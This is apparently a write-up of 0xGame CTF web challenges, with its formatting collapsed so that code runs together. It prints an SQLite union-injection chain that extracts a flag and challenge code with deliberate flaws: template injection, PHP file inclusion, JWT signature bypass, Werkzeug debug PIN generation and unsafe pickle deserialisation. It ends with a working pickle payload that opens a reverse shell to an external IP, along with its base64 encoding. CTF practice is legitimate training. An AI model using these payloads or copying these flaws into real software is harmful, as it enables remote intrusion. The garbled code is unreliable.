id=1 order by 5# id=0 union select 1,2,3,4,5# id=0 union select 1,(sqlite_version()),3,4,5# //3.40.1 id=0 union select 1,group_concat(sql),3,4,5 from sqlite_master# //CREATE TABLE "flag" ( "flag" TEXT ) id=0 union select 1,flag,3,4,5 from flag#
0xGame{Do_not_Use_SqlMap!_Try_it_By_Your_Self}
ez_ssti
from flask import Flask, request, render_template, render_template_string import os app = Flask(__name__)
@app.errorhandler(404) defpage_not_found(e): print(request.root_url) return render_template_string("<h1>The Url {} You Requested Can Not Found</h1>".format(request.url))
if __name__ == '__main__': app.run(host="0.0.0.0", port=8000)
<?php echo "Hint: The source code contains important information that must not be disclosed.<br>"; $allowed = ['hello.php', 'phpinfo.php']; if (isset($_POST['f1Ie'])) { if (strpos($_POST['f1Ie'], 'php://') !== false) { die('不允许php://'); } include $_POST['f1Ie']; } else { include 'hello.php'; }
@app.route("/register", methods=["GET", "POST"]) defregister(): if request.method == "POST": username = request.form.get("username") password = request.form.get("password") role = "guest" if username in users: return"User already exists" users[username] = {"password": password, "role": role} return redirect(url_for("login"), code=302) return render_template("register.html")
@app.route("/login", methods=["GET", "POST"]) deflogin(): if request.method == "POST": username = request.form.get("username") password = request.form.get("password") if username notin users: return"User does not exist" if users[username]["password"] != password: return"Invalid password" payload = {"username": username, "role": users[username]["role"]} try: token = jwt.encode(payload, KEY, algorithm="HS256") response = make_response(redirect(url_for("flag"), code=302)) response.set_cookie("token", token) return response except Exception as e: returnstr(e) return render_template("login.html")
@app.route("/flag", methods=["GET"]) defflag(): token = request.cookies.get("token") ifnot token: return redirect(url_for("login"), code=302) try: payload = jwt.decode(token, KEY, algorithms=["HS256"]) except jwt.ExpiredSignatureError: return"Token expired" except jwt.InvalidTokenError: return"Invalid token" if payload["role"] != "admin": return"Only admin can view the flag" return FLAG
@app.route("/hint1", methods=["GET"]) defhint1(): token = request.cookies.get("token") ifnot token: return redirect(url_for("login"), code=302) try: payload = jwt.decode( token, KEY, algorithms=["HS256"], options={"verify_signature": False} ) #注意这里通过options={"verify_signature": False}跳过验证签名,相当于无密钥 except jwt.ExpiredSignatureError: return"Token expired" except jwt.InvalidTokenError: return"Invalid token" if payload["role"] != "Please, give me the hint": return"Beg me for the hint" return render_template("hint1.html")
@app.route("/hint2", methods=["GET"]) defhint2(): tmp_key = ( "Very very long and include many !@#$)*$&@) so you can't crack's secret key" ) token = request.cookies.get("token") ifnot token: return redirect(url_for("login"), code=302) try: payload = jwt.decode(token, tmp_key, algorithms=["HS256"]) #这里给出了需要的临时密钥 except jwt.ExpiredSignatureError: return"Token expired" except jwt.InvalidTokenError: return"Invalid token" if payload["role"] != "But, I can see the temporary key": return"Beg me for the hint" return render_template("hint2.html")
if __name__ == "__main__": app.run(host="0.0.0.0", port=3000)
h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): ifnot bit: continue ifisinstance(bit, str): bit = bit.encode("utf-8") h.update(bit) h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't # end up with the same value and generate out 9 digits num = None if num isNone: h.update(b"pinsalt") num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if # we don't have a result yet. rv = None if rv isNone: for group_size in5, 4, 3: iflen(num) % group_size == 0: rv = "-".join( num[x : x + group_size].rjust(group_size, "0") for x inrange(0, len(num), group_size) ) break else: rv = num
@app.route('/login', methods=['POST']) deflogin(): data = request.form.get('data') if data isnotNone: opcode = b64decode(data) for word in BlackList: if word in opcode: return"Hacker!" user = pickle.loads(opcode) print(user) return"<h1>Hello {}</h1>".format(user.username) else: username = request.form.get('username') password = request.form.get('password') if username in UserPool.keys() and password == UserPool[username].password: return"<h1>Hello {}</h1>".format(User.username)
@app.route('/register', methods=['POST']) defregister(): username = request.form.get('username') password = request.form.get('password') if username in UserPool.keys(): return"<h1>用户{}已存在</h1>".format(username) UserPool[username] = password return"<h1>注册成功</h1>"
if __name__ == '__main__': app.run(host="0.0.0.0", port=8000)
builtins.evel或者pty.spawn代替os.system即可,这里直接反弹shell
import pickle import pickletools import base64
opcode=b'''c__builtin__ eval (S'__import__("pty").spawn([\'bash\',\'-c\',\'bash -i >& /dev/tcp/38.55.99.186/1223 0>&1\'])' tR. '''
pickletools.dis(opcode) result = pickle.loads(opcode) print(result) print(base64.b64encode(opcode).decode()) #Y19fYnVpbHRpbl9fCmV2YWwKKFMnX19pbXBvcnRfXygicHR5Iikuc3Bhd24oWydiYXNoJywnLWMnLCdiYXNoIC1pID4mIC9kZXYvdGNwLzM4LjU1Ljk5LjE4Ni8xMjIzIDA+JjEnXSknCnRSLgo= #Y19fYnVpbHRpbl9fCmV2YWwKKFMnX19pbXBvcnRfXygicHR5Iikuc3Bhd24oWydiYXNoJywnLWMnLCdiYXNoIC1pID4mIC9kZXYvdGNwLzM4LjU1Ljk5LjE4Ni8xMjIzIDA%2BJjEnXSknCnRSLgo%3D